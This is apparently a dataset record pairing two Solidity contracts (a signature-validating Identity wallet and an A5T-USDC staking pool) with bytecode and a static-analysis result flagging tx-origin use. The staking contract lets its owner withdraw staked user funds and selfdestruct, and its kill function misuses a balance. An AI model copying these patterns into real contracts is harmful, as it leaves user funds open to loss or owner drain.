uint8 modeRaw; unchecked { modeRaw = uint8(sig[sig.length - 1]); } SignatureMode mode = SignatureMode(modeRaw); // {r}{s}{v}{mode} if (mode == SignatureMode.EIP712 || mode == SignatureMode.EthSign) { require(sig.length == 66, "SV_LEN"); bytes32 r = sig.readBytes32(0); bytes32 s = sig.readBytes32(32); uint8 v = uint8(sig[64]); // Hesitant about this check: seems like this is something that has no business being checked on-chain require(v == 27 || v == 28, "SV_INVALID_V"); if (mode == SignatureMode.EthSign) hash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); address signer = ecrecover(hash, v, r, s); require(signer != address(0), "SV_ZERO_SIG"); return signer; // {sig}{verifier}{mode} } else if (mode == SignatureMode.SmartWallet) { // 32 bytes for the addr, 1 byte for the type = 33 require(sig.length > 33, "SV_LEN_WALLET"); uint newLen; unchecked { newLen = sig.length - 33; } IERC1271Wallet wallet = IERC1271Wallet(address(uint160(uint256(sig.readBytes32(newLen))))); sig.trimToSize(newLen); require(ERC1271_MAGICVALUE_BYTES32 == wallet.isValidSignature(hash, sig), "SV_WALLET_INVALID"); return address(wallet); // {address}{mode}; the spoof mode is used when simulating calls } else if (mode == SignatureMode.Spoof && allowSpoofing) { require(tx.origin == address(1), "SV_SPOOF_ORIGIN"); require(sig.length == 33, "SV_SPOOF_LEN"); sig.trimToSize(32); return abi.decode(sig, (address)); } else revert("SV_SIGMODE"); } } contract Identity { mapping (address => bytes32) public privileges; // The next allowed nonce uint public nonce; // Events event LogPrivilegeChanged(address indexed addr, bytes32 priv); event LogErr(address indexed to, uint value, bytes data, bytes returnData); // only used in tryCatch // Transaction structure // we handle replay protection separately by requiring (address(this), chainID, nonce) as part of the sig struct Transaction { address to; uint value; bytes data; } constructor(address[] memory addrs) { uint len = addrs.length; for (uint i=0; i<len; i++) { // @TODO should we allow setting to any arb value here? privileges[addrs[i]] = bytes32(uint(1)); emit LogPrivilegeChanged(addrs[i], bytes32(uint(1))); } } // This contract can accept ETH without calldata receive() external payable {} // This contract can accept ETH with calldata // However, to support EIP 721 and EIP 1155, we need to respond to those methods with their own method signature fallback() external payable { bytes4 method = msg.sig; if ( method == 0x150b7a02 // bytes4(keccak256("onERC721Received(address,address,uint256,bytes)")) || method == 0xf23a6e61 // bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)")) || method == 0xbc197c81 // bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)")) ) { // Copy back the method // solhint-disable-next-line no-inline-assembly assembly { calldatacopy(0, 0, 0x04) return (0, 0x20) } } } function setAddrPrivilege(address addr, bytes32 priv) external { require(msg.sender == address(this), 'ONLY_IDENTITY_CAN_CALL'); // Anti-bricking measure: if the privileges slot is used for special data (not 0x01), // don't allow to set it to true if (uint(privileges[addr]) > 1) require(priv != bytes32(uint(1)), 'UNSETTING_SPECIAL_DATA'); privileges[addr] = priv; emit LogPrivilegeChanged(addr, priv); } function tipMiner(uint amount) external { require(msg.sender == address(this), 'ONLY_IDENTITY_CAN_CALL'); // See https://docs.flashbots.net/flashbots-auction/searchers/advanced/coinbase-payment/#managing-payments-to-coinbaseaddress-when-it-is-a-contract // generally this contract is reentrancy proof cause of the nonce executeCall(block.coinbase, amount, new bytes(0)); } function tryCatch(address to, uint value, bytes calldata data) external { require(msg.sender == address(this), 'ONLY_IDENTITY_CAN_CALL'); (bool success, bytes memory returnData) = to.call{value: value, gas: gasleft()}(data); if (!success) emit LogErr(to, value, data, returnData); } // WARNING: if the signature of this is changed, we have to change IdentityFactory function execute(Transaction[] calldata txns, bytes calldata signature) external { require(txns.length > 0, 'MUST_PASS_TX'); uint currentNonce = nonce; // NOTE: abi.encode is safer than abi.encodePacked in terms of collision safety bytes32 hash = keccak256(abi.encode(address(this), block.chainid, currentNonce, txns)); // We have to increment before execution cause it protects from reentrancies nonce = currentNonce + 1; address signer = SignatureValidator.recoverAddrImpl(hash, signature, true); require(privileges[signer] != bytes32(0), 'INSUFFICIENT_PRIVILEGE'); uint len = txns.length; for (uint i=0; i<len; i++) { Transaction memory txn = txns[i]; executeCall(txn.to, txn.value, txn.data); } // The actual anti-bricking mechanism - do not allow a signer to drop their own priviledges require(privileges[signer] != bytes32(0), 'PRIVILEGE_NOT_DOWNGRADED'); } // no need for nonce management here cause we're not dealing with sigs function executeBySender(Transaction[] calldata txns) external { require(txns.length > 0, 'MUST_PASS_TX'); require(privileges[msg.sender] != bytes32(0), 'INSUFFICIENT_PRIVILEGE'); uint len = txns.length; for (uint i=0; i<len; i++) { Transaction memory txn = txns[i]; executeCall(txn.to, txn.value, txn.data); } // again, anti-bricking require(privileges[msg.sender] != bytes32(0), 'PRIVILEGE_NOT_DOWNGRADED'); } function executeBySelf(Transaction[] calldata txns) external { require(msg.sender == address(this), 'ONLY_IDENTITY_CAN_CALL'); require(txns.length > 0, 'MUST_PASS_TX'); uint len = txns.length; for (uint i=0; i<len; i++) { Transaction memory txn = txns[i]; executeCall(txn.to, txn.value, txn.data); } } // we shouldn't use address.call(), cause: https://github.com/ethereum/solidity/issues/2884 // copied from https://github.com/uport-project/uport-identity/blob/develop/contracts/Proxy.sol // there's also // https://github.com/gnosis/MultiSigWallet/commit/e1b25e8632ca28e9e9e09c81bd20bf33fdb405ce // https://github.com/austintgriffith/bouncer-proxy/blob/master/BouncerProxy/BouncerProxy.sol // https://github.com/gnosis/safe-contracts/blob/7e2eeb3328bb2ae85c36bc11ea6afc14baeb663c/contracts/base/Executor.sol function executeCall(address to, uint256 value, bytes memory data) internal { assembly { let result := call(gas(), to, value, add(data, 0x20), mload(data), 0, 0) switch result case 0 { let size := returndatasize() let ptr := mload(0x40) returndatacopy(ptr, 0, size) revert(ptr, size) } default {} } // A single call consumes around 477 more gas with the pure solidity version, for whatever reason // WARNING: do not use this, it corrupts the returnData string (returns it in a slightly different format) //(bool success, bytes memory returnData) = to.call{value: value, gas: gasleft()}(data); //if (!success) revert(string(data)); } // EIP 1271 implementation // see https://eips.ethereum.org/EIPS/eip-1271 function isValidSignature(bytes32 hash, bytes calldata signature) external view returns (bytes4) { if (privileges[SignatureValidator.recoverAddr(hash, signature)] != bytes32(0)) { // bytes4(keccak256("isValidSignature(bytes32,bytes)") return 0x1626ba7e; } else { return 0xffffffff; } } // EIP 1155 implementation // we pretty much only need to signal that we support the interface for 165, but for 1155 we also need the fallback function function supportsInterface(bytes4 interfaceID) external pure returns (bool) { return interfaceID == 0x01ffc9a7 || // ERC-165 support (i.e. `bytes4(keccak256('supportsInterface(bytes4)'))`). interfaceID == 0x4e2312e0; // ERC-1155 `ERC1155TokenReceiver` support (i.e. `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)")) ^ bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`). } }
0x6080604052600436106100955760003560e01c80636769de82116100595780636769de82146101cd578063abc5345e146101ed578063affed0e01461020d578063bf1cb38314610231578063c066a5b1146102515761009c565b806301ffc9a7146100fd5780630d5828d4146101325780631626ba7e146101545780631eef7d871461018d5780636171d1c9146101ad5761009c565b3661009c57005b6001600160e01b031960003516630a85bd0160e11b8114806100ce575063f23a6e6160e01b6001600160e01b03198216145b806100e9575063bc197c8160e01b6001600160e01b03198216145b156100fa5760046000803760206000f35b50005b34801561010957600080fd5b5061011d610118366004611106565b61027e565b60405190151581526020015b60405180910390f35b34801561013e57600080fd5b5061015261014d366004610f90565b6102b5565b005b34801561016057600080fd5b5061017461016f3660046110ba565b610399565b6040516001600160e01b03199091168152602001610129565b34801561019957600080fd5b506101526101a8366004611140565b610428565b3480156101b957600080fd5b506101526101c836600461105a565b610466565b3480156101d957600080fd5b506101526101e8366004611018565b610645565b3480156101f957600080fd5b50610152610208366004611018565b6106ee565b34801561021957600080fd5b5061022360015481565b604051908152602001610129565b34801561023d57600080fd5b5061015261024c366004610fbc565b610824565b34801561025d57600080fd5b5061022361026c366004610f56565b60006020819052908152604090205481565b60006301ffc9a760e01b6001600160e01b0319831614806102af5750630271189760e51b6001600160e01b03198316145b92915050565b3330146102dd5760405162461bcd60e51b81526004016102d490611321565b60405180910390fd5b6001600160a01b038216600090815260208190526040902054600110156103485760018114156103485760405162461bcd60e51b8152602060048201526016602482015275554e53455454494e475f5350454349414c5f4441544160501b60448201526064016102d4565b6001600160a01b0382166000818152602081815260409182902084905590518381527f08ac40e0195c5998554e98853c23964a13a24309e127b2d016e8ec4adecf5e83910160405180910390a25050565b60008060001b6000806103e28787878080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061090092505050565b6001600160a01b03166001600160a01b0316815260200190815260200160002054146104165750630b135d3f60e11b610421565b506001600160e01b03195b9392505050565b3330146104475760405162461bcd60e51b81526004016102d490611321565b604080516000815260208101909152610463904190839061090e565b50565b826104835760405162461bcd60e51b81526004016102d4906112fb565b6001546040516000906104a2903090469085908a908a906020016111df565b6040516020818303038152906040528051906020012090508160016104c79190611402565b60018190555060006105128286868080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152506001925061093b915050565b6001600160a01b0381166000908152602081905260409020549091506105735760405162461bcd60e51b8152602060048201526016602482015275494e53554646494349454e545f50524956494c45474560501b60448201526064016102d4565b8560005b818110156105da5760008989838181106105935761059361151a565b90506020028101906105a59190611388565b6105ae9061141a565b90506105c781600001518260200151836040015161090e565b50806105d2816114d3565b915050610577565b506001600160a01b03821660009081526020819052604090205461063b5760405162461bcd60e51b81526020600482015260186024820152771414925592531151d157d393d517d113d5d391d49051115160421b60448201526064016102d4565b5050505050505050565b3330146106645760405162461bcd60e51b81526004016102d490611321565b806106815760405162461bcd60e51b81526004016102d4906112fb565b8060005b818110156106e85760008484838181106106a1576106a161151a565b90506020028101906106b39190611388565b6106bc9061141a565b90506106d581600001518260200151836040015161090e565b50806106e0816114d3565b915050610685565b50505050565b8061070b5760405162461bcd60e51b81526004016102d4906112fb565b336000908152602081905260409020546107605760405162461bcd60e51b8152602060048201526016602482015275494e53554646494349454e545f50524956494c45474560501b60448201526064016102d4565b8060005b818110156107c75760008484838181106107805761078061151a565b90506020028101906107929190611388565b61079b9061141a565b90506107b481600001518260200151836040015161090e565b50806107bf816114d3565b915050610764565b503360009081526020819052604090205461081f5760405162461bcd60e51b81526020600482015260186024820152771414925592531151d157d393d517d113d5d391d49051115160421b60448201526064016102d4565b505050565b3330146108435760405162461bcd60e51b81526004016102d490611321565b600080856001600160a01b0316855a9086866040516108639291906111cf565b600060405180830381858888f193505050503d80600081146108a1576040519150601f19603f3d011682016040523d82523d6000602084013e6108a6565b606091505b5091509150816108f857856001600160a01b03167f80c2637928bd94d0e1a90eaac1efc1553be6391d962fe5c82a01e90122c84ccc868686856040516108ef9493929190611351565b60405180910390a25b505050505050565b60006104218383600061093b565b60008082516020840185875af180801561092757610934565b3d604051816000823e8181fd5b5050505050565b600060018351101561097b5760405162461bcd60e51b815260206004820152600960248201526829ab2fa9a4a3a622a760b91b60448201526064016102d4565b6000836001855103815181106109935761099361151a565b016020015160f81c905060008160038111156109b1576109b1611504565b905060008160038111156109c7576109c7611504565b14806109e4575060018160038111156109e2576109e2611504565b145b15610bc4578451604214610a235760405162461bcd60e51b815260206004820152600660248201526529ab2fa622a760d11b60448201526064016102d4565b6000610a2f8682610e1b565b90506000610a3e876020610e1b565b9050600087604081518110610a5557610a5561151a565b016020015160f81c9050601b811480610a7157508060ff16601c145b610aac5760405162461bcd60e51b815260206004820152600c60248201526b29ab2fa4a72b20a624a22fab60a11b60448201526064016102d4565b6001846003811115610ac057610ac0611504565b1415610b12576040517f19457468657265756d205369676e6564204d6573736167653a0a3332000000006020820152603c81018a9052605c016040516020818303038152906040528051906020012098505b604080516000808252602082018084528c905260ff841692820192909252606081018590526080810184905260019060a0016020604051602081039080840390855afa158015610b66573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610bb75760405162461bcd60e51b815260206004820152600b60248201526a53565f5a45524f5f53494760a81b60448201526064016102d4565b9550610421945050505050565b6002816003811115610bd857610bd8611504565b1415610d19576021855111610c1f5760405162461bcd60e51b815260206004820152600d60248201526c14d597d3115397d5d053131155609a1b60448201526064016102d4565b8451602019016000610c318783610e1b565b9050610c3d8783610e74565b604051630b135d3f60e11b81526001600160a01b03821690631626ba7e90610c6b908b908b906004016112da565b60206040518083038186803b158015610c8357600080fd5b505afa158015610c97573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cbb9190611123565b6001600160e01b031916630b135d3f60e11b14610d0e5760405162461bcd60e51b815260206004820152601160248201527014d597d5d05313115517d2539590531251607a1b60448201526064016102d4565b935061042192505050565b6003816003811115610d2d57610d2d611504565b148015610d375750835b15610de65732600114610d7e5760405162461bcd60e51b815260206004820152600f60248201526e29ab2fa9a827a7a32fa7a924a3a4a760891b60448201526064016102d4565b8451602114610dbe5760405162461bcd60e51b815260206004820152600c60248201526b29ab2fa9a827a7a32fa622a760a11b60448201526064016102d4565b610dc9856020610e74565b84806020019051810190610ddd9190610f73565b92505050610421565b60405162461bcd60e51b815260206004820152600a60248201526953565f5349474d4f444560b01b60448201526064016102d4565b6000610e28602083611402565b91508183511015610e6e5760405162461bcd60e51b815260206004820152601060248201526f084f2e8cae698d2c47440d8cadccee8d60831b60448201526064016102d4565b50015190565b80825111610ec45760405162461bcd60e51b815260206004820152601860248201527f42797465734c69623a206f6e6c7920736872696e6b696e67000000000000000060448201526064016102d4565b9052565b60008083601f840112610eda57600080fd5b50813567ffffffffffffffff811115610ef257600080fd5b6020830191508360208260051b8501011115610f0d57600080fd5b9250929050565b60008083601f840112610f2657600080fd5b50813567ffffffffffffffff811115610f3e57600080fd5b602083019150836020828501011115610f0d57600080fd5b600060208284031215610f6857600080fd5b813561042181611546565b600060208284031215610f8557600080fd5b815161042181611546565b60008060408385031215610fa357600080fd5b8235610fae81611546565b946020939093013593505050565b60008060008060608587031215610fd257600080fd5b8435610fdd81611546565b935060208501359250604085013567ffffffffffffffff81111561100057600080fd5b61100c87828801610f14565b95989497509550505050565b6000806020838503121561102b57600080fd5b823567ffffffffffffffff81111561104257600080fd5b61104e85828601610ec8565b90969095509350505050565b6000806000806040858703121561107057600080fd5b843567ffffffffffffffff8082111561108857600080fd5b61109488838901610ec8565b909650945060208701359150808211156110ad57600080fd5b5061100c87828801610f14565b6000806000604084860312156110cf57600080fd5b83359250602084013567ffffffffffffffff8111156110ed57600080fd5b6110f986828701610f14565b9497909650939450505050565b60006020828403121561111857600080fd5b81356104218161155b565b60006020828403121561113557600080fd5b81516104218161155b565b60006020828403121561115257600080fd5b5035919050565b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b6000815180845260005b818110156111a85760208185018101518683018201520161118c565b818111156111ba576000602083870101525b50601f01601f19169290920160200192915050565b8183823760009101908152919050565b60006080820160018060a01b038089168452602088818601526040888187015260606080818801528488865260a08801905060a08960051b89010195508960005b8a8110156112c757898803609f190183528135368d9003605e1901811261124657600080fd5b8c01803561125381611546565b8816895280870135878a01528581013536829003601e1901811261127657600080fd5b8101803567ffffffffffffffff81111561128f57600080fd5b80360383131561129e57600080fd5b86888c01526112b2878c01828b8501611159565b9a505050928601925090850190600101611220565b50959d9c50505050505050505050505050565b8281526040602082015260006112f36040830184611182565b949350505050565b6020808252600c908201526b09aaaa6a8bea082a6a6bea8b60a31b604082015260600190565b60208082526016908201527513d3931657d25111539512551657d0d05397d0d0531360521b604082015260600190565b84815260606020820152600061136b606083018587611159565b828103604084015261137d8185611182565b979650505050505050565b60008235605e1983360301811261139e57600080fd5b9190910192915050565b6040516060810167ffffffffffffffff811182821017156113cb576113cb611530565b60405290565b604051601f8201601f1916810167ffffffffffffffff811182821017156113fa576113fa611530565b604052919050565b60008219821115611415576114156114ee565b500190565b60006060823603121561142c57600080fd5b6114346113a8565b823561143f81611546565b815260208381013581830152604084013567ffffffffffffffff8082111561146657600080fd5b9085019036601f83011261147957600080fd5b81358181111561148b5761148b611530565b61149d601f8201601f191685016113d1565b915080825236848285010111156114b357600080fd5b808484018584013760009082019093019290925250604082015292915050565b60006000198214156114e7576114e76114ee565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052602160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461046357600080fd5b6001600160e01b03198116811461046357600080fdfea26469706673582212200dede40df9726d7985efffcc5c0bf01c06e95dd1a9e6738c040d26ac262ee2cf64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}]}}
7,198
0x624a2b6c4571ba0be7e28a189880cd6c74227e96
/** *Submitted for verification at Etherscan.io on 2021-03-28 */ //SPDX-License-Identifier: UNLICENSED pragma solidity >=0.6.0 <0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev Give an account access to this role. */ function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } /** * @dev Remove an account's access to this role. */ function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } /** * @dev Check if an account has this role. * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } abstract contract AdminRole is Context { using Roles for Roles.Role; event AdminAdded(address indexed account); event AdminRemoved(address indexed account); Roles.Role private _Admins; constructor () internal { _addAdmin(_msgSender()); } modifier onlyAdmin() { require(isAdmin(_msgSender()), "AdminRole: caller does not have the Admin role"); _; } function isAdmin(address account) public view returns (bool) { return _Admins.has(account); } function addAdmin(address account) public onlyAdmin { _addAdmin(account); } function renounceAdmin() public { _removeAdmin(_msgSender()); } function _addAdmin(address account) internal { _Admins.add(account); emit AdminAdded(account); } function _removeAdmin(address account) internal { _Admins.remove(account); emit AdminRemoved(account); } } contract A5T_USDC_Staking is Ownable,AdminRole{ using SafeMath for uint256; address public A5T_USDC_Address = address(0x7d34F36bdD18e67783Df5d4Df9092c83614f9033); address public A5T_Address = address(0xe8272210954eA85DE6D2Ae739806Ab593B5d9c51); IERC20 A5T; IERC20 A5T_USDC_Pair; uint256 public window_start_date; uint256 public window_end_date; struct Pool{ uint pool_Duration; uint256 total_A5T_Reward; uint256 TVL; //Total Value Locked in A5T-USDC LP Tokens mapping(address => uint256) stake_amount; mapping(address => bool) isClaimed; } mapping(uint => Pool) public pools; uint public pool_count; event stakeEvent(address staker, uint256 LP_amount,uint pool_number); event unstakeEvent(address staker, uint256 LP_amount,uint pool_number); event rewardEvent(address staker, uint256 reward_amount,uint pool_number); constructor () public //creation settings { A5T = IERC20(A5T_Address); A5T_USDC_Pair = IERC20(A5T_USDC_Address); pool_count++; pools[pool_count].pool_Duration = 30 days; pools[pool_count].total_A5T_Reward = 100000 * (10**18); pool_count++; pools[pool_count].pool_Duration = 60 days; pools[pool_count].total_A5T_Reward = 500000 * (10**18); } function stake(uint _pool_number,uint256 _LP_Amount) public { require(_LP_Amount>=0,'zero amount'); require(_pool_number>0 && _pool_number<=pool_count,'invalid pool number'); require(window_start_date >0 && window_end_date>0,'not started'); require(block.timestamp <= window_end_date && block.timestamp >= window_start_date,'not time to stake'); //Check if the contract is allowed to send token on user behalf uint256 allowance = A5T_USDC_Pair.allowance(msg.sender,address(this)); require (allowance>=_LP_Amount,'allowance error'); require(A5T_USDC_Pair.transferFrom(msg.sender,address(this),_LP_Amount),'transfer Token Error'); pools[_pool_number].TVL = pools[_pool_number].TVL.add(_LP_Amount); pools[_pool_number].stake_amount[msg.sender] = pools[_pool_number].stake_amount[msg.sender].add(_LP_Amount); emit stakeEvent(msg.sender, _LP_Amount,_pool_number); } // function unstake(uint _pool_number) public { // require(_pool_number>0 && _pool_number<=pool_count,'invalid pool number'); // require(block.timestamp >= window_end_date+pools[_pool_number].pool_Duration,'not time to unstake yet'); // require(!pools[_pool_number].isUnstaked[msg.sender],'already unstaked'); // pools[_pool_number].isUnstaked[msg.sender] = true; // require(A5T_USDC_Pair.transfer(msg.sender, pools[_pool_number].stake_amount[msg.sender]),'transfer Token Error'); // emit unstakeEvent(msg.sender, pools[_pool_number].stake_amount[msg.sender],_pool_number); // } // function claimReward(uint _pool_number) public{ // require(_pool_number>0 && _pool_number<=pool_count,'invalid pool number'); // require(block.timestamp >= window_end_date+pools[_pool_number].pool_Duration,'not time to unstake yet'); // require(pools[_pool_number].stake_amount[msg.sender] > 0,'nothing to unstake'); // require(!pools[_pool_number].isClaimed[msg.sender],'already claimed'); // pools[_pool_number].isClaimed[msg.sender] = true; // require(A5T.transfer(msg.sender, pools[_pool_number].stake_amount[msg.sender].mul(pools[_pool_number].total_A5T_Reward).div(pools[_pool_number].TVL)),'transfer Token Error'); // emit rewardEvent(msg.sender, pools[_pool_number].stake_amount[msg.sender].mul(pools[_pool_number].total_A5T_Reward).div(pools[_pool_number].TVL),_pool_number); // } function claimAndUnstake(uint _pool_number) public{ require(_pool_number>0 && _pool_number<=pool_count,'invalid pool number'); require(block.timestamp >= window_end_date+pools[_pool_number].pool_Duration,'not time to unstake yet'); require(pools[_pool_number].stake_amount[msg.sender] > 0,'nothing to unstake'); require(!pools[_pool_number].isClaimed[msg.sender],'already claimed'); pools[_pool_number].isClaimed[msg.sender] = true; require(A5T_USDC_Pair.transfer(msg.sender, pools[_pool_number].stake_amount[msg.sender]),'transfer Token Error'); emit unstakeEvent(msg.sender, pools[_pool_number].stake_amount[msg.sender],_pool_number); require(A5T.transfer(msg.sender, pools[_pool_number].stake_amount[msg.sender].mul(pools[_pool_number].total_A5T_Reward).div(pools[_pool_number].TVL)),'transfer Token Error'); emit rewardEvent(msg.sender, pools[_pool_number].stake_amount[msg.sender].mul(pools[_pool_number].total_A5T_Reward).div(pools[_pool_number].TVL),_pool_number); } //Getters function getNow() public view returns(uint256){ return block.timestamp; } function getPool_stakeAmount(uint _pool_number,address _staker) public view returns(uint256 _stakeAmount){ return pools[_pool_number].stake_amount[_staker]; } function getPool_isClaimed(uint _pool_number,address _staker) public view returns(bool _isClaimed){ return pools[_pool_number].isClaimed[_staker]; } //Setters function change_Pool_Reward(uint _pool_number,uint256 _new_A5T_reward) public onlyAdmin { require(_new_A5T_reward>0,'invalid reward'); require(_pool_number>0 && _pool_number<=pool_count,'invalid pool number'); pools[_pool_number].total_A5T_Reward = _new_A5T_reward; } function change_Pool_Duration(uint _pool_number,uint256 _new_Duration) public onlyAdmin { require(_new_Duration>0,'invalid duration'); require(_pool_number>0 && _pool_number<=pool_count,'invalid pool number'); pools[_pool_number].pool_Duration = _new_Duration; } function setWindow_Start_Date(uint256 _date) public onlyAdmin { if (window_end_date != 0) require(_date<window_end_date,'start date must less than end date'); window_start_date = _date; } function setWindow_End_Date(uint256 _date) public onlyAdmin { if (window_start_date != 0) require(window_start_date<_date,'start date must less than end date'); window_end_date = _date; } function setA5Taddress(address _newAddress) public onlyAdmin { A5T_Address = _newAddress; A5T = IERC20(A5T_Address); } function setPairAddress(address _newPairAddress) public onlyAdmin { A5T_USDC_Address = _newPairAddress; A5T_USDC_Pair = IERC20(A5T_USDC_Address); } //Protect the pool in case of hacking function kill(address payable _to) onlyOwner public { uint256 balance = A5T.balanceOf(address(this)); A5T.transfer(_to, balance); A5T_USDC_Pair.transfer(_to, balance); selfdestruct(_to); } function transferFundA5T(uint256 amount, address payable _to) onlyOwner public { uint256 balance = A5T.balanceOf(address(this)); require(amount<=balance,'exceed contract balance'); A5T.transfer(_to, amount); } function transferFundPair(uint256 amount, address payable _to) onlyOwner public { uint256 balance = A5T_USDC_Pair.balanceOf(address(this)); require(amount<=balance,'exceed contract balance'); A5T_USDC_Pair.transfer(_to, amount); } function transferFund(uint256 amount, address payable _to) public onlyOwner { require(amount<=address(this).balance,'exceed contract balance'); _to.transfer(amount); } }
0x608060405234801561001057600080fd5b50600436106101a95760003560e01c80637f154102116100f9578063bbe4fd5011610097578063d315864d11610071578063d315864d146106bc578063e953d112146106f0578063f2fde38b14610754578063f89be3e814610798576101a9565b8063bbe4fd501461062c578063cbf0b0c01461064a578063d102072f1461068e576101a9565b8063956aae3a116100d3578063956aae3a14610518578063a22d483214610536578063ac4afa381461057a578063b716a399146105ca576101a9565b80637f154102146104bc5780638bad0c0a146104da5780638da5cb5b146104e4576101a9565b8063480f13a211610166578063704802751161014057806370480275146103e8578063715018a61461042c578063749bfcbc146104365780637b0472f014610484576101a9565b8063480f13a21461032257806351e97b1f146103565780635970f1aa146103a4576101a9565b806305b92aee146101ae5780630add378f146101fc578063129dbb071461022a57806324d7806c1461026257806329825bb8146102bc578063340d2600146102f4575b600080fd5b6101fa600480360360408110156101c457600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506107b6565b005b6102286004803603602081101561021257600080fd5b8101908080359060200190929190505050610a77565b005b6102606004803603604081101561024057600080fd5b810190808035906020019092919080359060200190929190505050610b4b565b005b6102a46004803603602081101561027857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cc9565b60405180821515815260200191505060405180910390f35b6102f2600480360360408110156102d257600080fd5b810190808035906020019092919080359060200190929190505050610ce6565b005b6103206004803603602081101561030a57600080fd5b8101908080359060200190929190505050610e64565b005b61032a610f38565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103a26004803603604081101561036c57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f5e565b005b6103e6600480360360208110156103ba57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061121f565b005b61042a600480360360208110156103fe57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061132b565b005b61043461139c565b005b6104826004803603604081101561044c57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611509565b005b6104ba6004803603604081101561049a57600080fd5b810190808035906020019092919080359060200190929190505050611679565b005b6104c4611c9c565b6040518082815260200191505060405180910390f35b6104e2611ca2565b005b6104ec611cb4565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610520611cdd565b6040518082815260200191505060405180910390f35b6105786004803603602081101561054c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ce3565b005b6105a66004803603602081101561059057600080fd5b8101908080359060200190929190505050611def565b60405180848152602001838152602001828152602001935050505060405180910390f35b610616600480360360408110156105e057